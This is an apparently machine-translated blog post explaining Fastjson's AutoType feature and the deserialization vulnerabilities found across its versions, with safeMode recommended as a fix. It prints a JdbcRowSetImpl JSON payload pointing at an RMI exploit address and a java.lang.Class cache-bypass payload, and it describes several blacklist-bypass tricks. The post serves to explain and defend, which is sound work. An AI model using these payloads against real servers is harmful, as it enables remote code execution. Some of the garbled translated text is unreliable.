GitHub 15.8K Star Java engineers become god’s path, not to learn about it!
GitHub 15.8K Star Java engineers become god’s path, really not to learn about it!
GitHub 15.8K Star Java engineer becomes god’s path, really really not to learn about it!
Fastjson is an open source JSON parsing library from Alibaba. It is usually used to convert Java beans to JSON strings.
A few days ago, Fastjson was found to have a number of bugs, and there were many articles about it and advice on how to upgrade it.
But as a developer, I’m more concerned about why he gets bugs so frequently. With some confusion, I took a look at the Fastjson releaseNote and some of the source code.
It turns out that this has to do with an AutoType feature in Fastjson.
AutoType has been updated in every release from V1.2.59 in July 2019 to V1.2.71 in June 2020.
Here are some important updates to AutoType in fastjson’s official releaseNotes:
Improved fastjson security when AutoType is opened
1.2.60 release, added AutoType blacklist, fixed denial of service security issues fastjson
Added AutoType security blacklist fastjson in 1.2.61 Release
1.2.62 release, added AutoType blacklist, enhanced date deserialization and JSONPath Fastjson
1.2.66 release, Bug fix security hardening, and do security hardening, added AutoType blacklist fastjson
1.2.67 release, Bug fix security hardening, added AutoType blacklist fastjson
1.2.68 release, support for GEOJSON, complement AutoType blacklist. (A safeMode configuration is introduced. After configuring safeMode, no matter the whitelist or blacklist, autoType is not supported.) fastjson
1.2.69 Release, fix newly discovered high-risk AutoType switch bypass security vulnerability, added AutoType blacklist fastjson
1.2.70 release, improved compatibility, added AutoType blacklist
There is even an Issue in the Fastjson open source library that suggests authors provide a version without autoType:
So, what is an AutoType? Why fastjson introduced AutoType? Why does AutoType cause a security breach? This article will be an in-depth analysis.
Where is AutoType?
The main function of FastJSON is to serialize Java beans into JSON strings, which can then be persisted through databases and other means.
However, Fastjson does not use Java’s own serialization mechanism for serialization and deserialization.
To convert a Java object to a string, there are two options for the JSON framework:
- 1. Based on attributes
- Based on setter/getter
The most common JSON serialization frameworks, FastJson and Jackson, serialize an object into a JSON string by iterating through all the getter methods in the class. Instead of doing this, Gson iterates through all the attributes in the class by reflection and serializes their values into JSON.
Suppose we have the following Java class:
class Store { private String name; private Fruit fruit; public String getName() { return name; } public void setName(String name) { this.name = name; } public Fruit getFruit() { return fruit; } public void setFruit(Fruit fruit) { this.fruit = fruit; } } interface Fruit { } class Apple implements Fruit { private BigDecimal price; // omit setter/getter, toString, etc.}Copy the codeWhen we serialize it, FastJson scans the getter methods to find getName and getFruit and serializes the values of the Name and fruit fields into the JSON string.
The Fruit interface is just an interface. Can Fastjson serialize property values correctly? If so, what type does Fastjson deserialize this Fruit into when it deserializes it?
We tried to verify this, based on (Fastjson V 1.2.68) :
Store store = new Store(); store.setName("Hollis"); Apple apple = new Apple(); Apple. SetPrice (new BigDecimal (0.5)); store.setFruit(apple); String jsonString = JSON.toJSONString(store); System.out.println("toJSONString : " + jsonString);Copy the codeCreate a store, give it a name, and create a Fruit subtype Apple. Then serialize the store with json. toJSONString.
ToJSONString: {" fruit ": {" price", 0.5}, "name" : "Hollis}"Copy the codeSo what is this fruit type, can we deserialize it into Apple? Let’s execute the following code again:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
Copy the codeThe result is as follows:
ToJSONString :{" fruit":{"price":0.5},"name":"Hollis"} parseObject: Store{name='Hollis', fruit={}} Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)Copy the codeAfter deserializing store, we tried to convert Fruit to Apple, but we threw an exception, trying to convert directly to Fruit does not get an error, as in:
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
Copy the codeAs we know, when a class contains an interface (or abstract class), the fastJSON serialization removes the subtype, leaving only the interface (abstract class) type, so that the original type cannot be retrieved when deserializing.
To solve this problem, Fastjson introduces AutoType, which records the original type at serialization time.
Use method is through SerializerFeature WriteClassName marked, is in the code above
String jsonString = JSON.toJSONString(store);
Copy the codeModified to:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
Copy the codeThe above code, the output result is as follows:
System.out.println("toJSONString : " + jsonString); {@ "type" : "com. Hollis. Lab. Fastjson. Test. The Store", "fruit" : {" @ type ":" com. Hollis. Lab. Fastjson. Test. Apple ", "price" : 0.5}, "name":"Hollis" }Copy the code. As you can see, using SerializerFeature WriteClassName marked after the JSON string in a more @ type field, marking the class corresponding to the original type, convenient when deserialization positioning to a specific type
As shown above, deserializing the serialized string can smoothly get an Apple type and output the overall content:
toJSONString : {@ "type" : "com. Hollis. Lab. Fastjson. Test. The Store", "fruit" : {" @ type ":" com. Hollis. Lab. Fastjson. Test. Apple ", "price" : 0.5}, "name" : "Hollis"} parseObject: Store{name='Hollis', fruit=Apple{price=0.5}} getFruit: Apple{price=0.5}Copy the codeThis is why AutoType and fastJSON introduced it.
However, it is this feature that has caused a lot of pain for subsequent FastJSON users because it was not designed with security in mind at the beginning
What’s wrong with AutoType?
Because of autoType, when FastJson deserializes the JSON string, it reads @ Type into the content, attempts to deserialize the JSON content into the object, and calls setter methods for that class.
You can take advantage of this feature by constructing a JSON string of your own and using @type to specify a library of attack classes that you want to use.
For example, a hacker attacks that are widely used in the class library is com. The sun. The rowset. JdbcRowSetImpl, this is sun’s official offer a class library, introduced into an rmi this class dataSourceName support source, when parsing the uri will support rmi remote calls, To call the method at the specified RMI address.
Fastjson calls setter methods of the target class when deserializing, so if a hacker sets a command in JdbcRowSetImpl’s dataSourceName that he or she wants to execute, there are serious consequences.
Remote command execution can be achieved by specifying a JSON string as follows (JdbcRowSetImpl has been blacklisted in earlier versions)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
Copy the codeThis is known as a remote command execution vulnerability, that is, the use of vulnerability to invade the target server, through the server to execute commands.
In earlier versions of FastJSON (before V1.2.25), AutoType was turned on by default and had no restrictions, so it was naked.
Since v1.2.25, Fastjson has disabled autoType support by default and added checkAutotype to the blacklist + whitelist to prevent autoType from being enabled.
However, this is also when the game between hackers and Fastjson authors begins.
Since Fastjson disables AutoType support by default, and blacklists are verified, the attack direction is changed to “How to bypass checkAutotype”.
Here’s a breakdown of the vulnerabilities and attack mechanisms in each version of Fastjson. Due to space limitations, I won’t go into specific details here, but I can write a separate article later if you are interested. The following sections are intended to provide some ideas on the importance of security when writing code.
Bypassing checkAutotype, hackers play fastjson
Before FastJSON V1.2.41, the checkAutotype code was filtered through the whitelist first, and the target class was deserialized only if the class to be deserialized was not in the whitelist.
However, fastjson has a special processing during the loading process, that is, the specific loading of the class before and after the L and the className; Like Lcom. Lang. Thread; .
The blacklist and whitelist is detected by startWith, so the hacker only needs to add L and before and after the attack class library he wants to use. You can bypass the blacklist and whitelist check without delaying the fastjson normal loading.
Such as Lcom. Sun. Rowset. JdbcRowSetImpl; , can through the white list check first, then fastjson when loading a class will remove the L and before and after, into a com. Sun. Rowset. JdbcRowSetImpl `.
In v1.2.42, fastjson determines whether the name of the target class is preceded by an “L” or “L”. If so, cut the L and the L before and after; Then check the blacklist and whitelist.
This appears to solve the problem, but when the hacker discovers this rule, he writes LL and; before and after the target class during the attack. , so that if intercepted again can still bypass detection. Such as LLcom. Sun. Rowset. JdbcRowSetImpl;;
While the devil climbs a post, the priest climbs ten. In V1.2.43, Fastjson briefly fixed the bug by adding an exception that does not start with LL before the whitelist. If the target class starts with LL, the exception is thrown.
Hackers in L and; Because fastjson doesn’t load classes just for L and; Such a class is treated specially, and the [class is also treated specially.
The same attack method used to add [to the target class before v1.2.43 is lost again.
As a result, in v1.2.44, the authors of Fastjson made it more strict to throw exceptions whenever the target class begins with [or ends with;, thus addressing bugs found in V1.2.43 and previous versions.
In later versions, the main method of attack was to bypass the blacklist, and Fastjson is constantly improving its blacklist.
Can autoType be attacked without turning it on?
However, with the upgrade to V1.2.47, the hackers found a way to attack again. This attack only takes effect when autoType is turned off.
Isn’t it strange that autoType will be attacked if not enabled?
Since ** has a global cache in Fastjson, when loading a class, if autoType is not enabled, it will first try to fetch the class from the cache, and if it is in the cache, it will return it directly. ** Hackers use this mechanism to carry out attacks.
How clever it is for a hacker to add a class to the cache and then bypass the blacklist and whitelist detection when executing it again.
To add a blacklisted Class to the cache, you need to use a non-blacklisted Class, java.lang.class
The corresponding deserializer for java.lang.Class is MiscCodec. When deserializing, the value of val in the JSON string will be taken and the corresponding Class of val will be loaded.
If the FastJSON cache is true, the class corresponding to this val will be cached in the global cache
If a class named val is loaded again and autoType is not enabled, the next step is to try to get the class from the global cache and attack it.
Therefore, the hacker only needs to disguise the attack class as follows:
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
Copy the codeIn v1.2.48, Fastjson fixes this bug. In MiscCodec, the fastjson cache is set to false where the Class is processed, so that the attack Class will not be cached and will not be retrieved.
In subsequent versions, hackers and Fastjson continued to work around blacklists and blacklists.
It wasn’t until later that hackers discovered a new exploit in versions prior to V1.2.68.
Use exceptions to attack
In Fastjson, if @type is a subclass of Throwable, then ThrowableDeserializer is used for deserialization
In ThrowableDeserializer#deserialze method, when there is a field key is also @type, the value will be regarded as the class name, and then a checkAutoType detection.
Expectclasses are specified as expectable. class, but in the checkAutoType, the convention is that if you specify expectclasses, they will pass.
Because FastJSON attempts to execute the getter method when deserializing, the Exception class has a getMessage method.
The hacker only needs to customize an exception and override its getMessage to achieve the purpose of the attack.
The bug was the “critical bug” that went viral in June, forcing many developers to upgrade to the new version.
The bug was fixed in V1.2.69. The main fixes were for expectclasses that needed to be filtered out. Four new expectclasses were added, and the Class type was changed to hash.
In fact, according to the official Fastjson documentation, there is a way to get around this problem in V1.2.68 without upgrading to the new version: safeMode
AutoType Security mode?
As can be seen, the exploitation of these vulnerabilities is almost based on AutoType. Therefore, in v1.2.68, safeMode is introduced. After safeMode is configured, no matter the whitelist or blacklist, AutoType is not supported, which alleviates the deserialization of bugs variant attacks to some extent.
When safeMode is set, the @type field is no longer in effect, that is, when parsing JSON strings such as {“@type”: “com.java.class”}, the corresponding class is no longer deserialized.
SafeMode can be started as follows:
ParserConfig.getGlobalInstance().setSafeMode(true);
Copy the codeAs in the code example at the beginning of this article, using the above code to open safeMode mode and execute the code, you get the following exception:
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
Copy the codeIt’s worth noting, however, that fastjson disables the autoType function directly by throwing an exception in the checkAutoType method.
The latter
Currently, Fastjson has been released to V1.2.72, and the known problems existing in the previous version have been fixed in the new version.
Developers can upgrade the fastjson they use in their projects to the latest version, and safeMode can be considered if AutoType is not needed in their code, but evaluate the impact on historical code.
Because Fastjson defines its own serialization tool class and uses ASM technology to avoid reflection, use caching, and do a lot of algorithm optimization, the serialization and deserialization efficiency is greatly improved.
Before, some netizens have compared:
Of course, the speed also brings some security problems, which is undeniable.
Finally, I would like to say a few words. Although Fastjson is an open source product of Alibaba, as far as I know, most of the project is maintained by its author Wen Shao alone in his spare time.
A netizen on Zhihu said: “Wen has almost single-handedly built a widely used JSON library, while other libraries rely on a whole team. For this reason, Wen is worthy of being” the first generation of Alibaba open source who has never changed his mind “.
In fact, about the fastjson vulnerability problem, ali has also been criticized by a lot of people, but after the criticism, we are more understanding and tolerance.
Fastjson is currently one of the most famous domestic class libraries, so it can be said that it has attracted much attention, so it has gradually become the focus of security research, so there will be some deep vulnerabilities found. As Mr. Wen himself put it:
“The only thing worse than finding a vulnerability is having one and not knowing it’s being exploited. Finding bugs and updating to fix them is a sign of security.”
As I am writing this article, I asked Wen Shao a question on Dingding, and he replied very quickly, which surprised me. Because it was a weekend, and Weekend Spike could do it in seconds, what does that tell us?
He’s probably using his spare time to maintain Fastjson…
Finally, knowing the causes of many fastjson bugs throughout its history, I’m actually “more daring” to use Fastjson myself…
Salute fastjson! Hats off to security researchers! Salute Wen Shao!
Welcome everyone to pay attention to my public number, will push this kind of dry goods regularly! Stem to you to Baidu, Google can not find!!
References:
Github.com/alibaba/fas…
Github.com/alibaba/fas…
paper.seebug.org/1192/
Mp.weixin.qq.com/s/EXnXCy5No…
www.lmxspace.com/2019/06/29/…